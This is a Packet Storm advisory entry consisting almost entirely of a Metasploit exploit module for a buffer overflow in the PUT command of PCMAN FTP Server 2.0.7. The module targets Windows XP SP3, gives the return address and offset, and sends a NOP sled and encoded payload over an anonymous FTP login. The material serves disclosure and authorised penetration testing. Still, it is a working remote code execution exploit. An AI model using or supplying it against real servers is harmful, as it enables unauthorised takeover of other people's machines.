PCMAN FTP Server 2.0.7 Buffer Overflow

2016-04-04T00:00:00
ID PACKETSTORM:136545
Type packetstorm
Reporter Jay Turla
Modified 2016-04-04T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability found in the PUT command of the  
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous  
credientials are enabled.  
},  
'Author' =>  
[  
'Jay Turla', # Initial Discovery -- @shipcod3  
'Chris Higgins' # msf Module -- @ch1gg1ns  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '37731'],  
[ 'OSVDB', '94624']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0A\x0D",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 English',  
{  
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll  
'Offset' => 2007  
}  
],  
],  
'DisclosureDate' => 'Aug 07 2015',  
'DefaultTarget' => 0))  
end  
  
def check  
connect_login  
disconnect  
  
if /220 PCMan's FTP Server 2\.0/ === banner  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
  
def exploit  
connect_login  
  
print_status('Generating payload...')  
sploit = rand_text_alpha(target['Offset'])  
sploit << [target.ret].pack('V')  
sploit << make_nops(16)  
sploit << payload.encoded  
  
send_cmd( ["PUT", sploit], false )  
disconnect  
end  
  
end  
`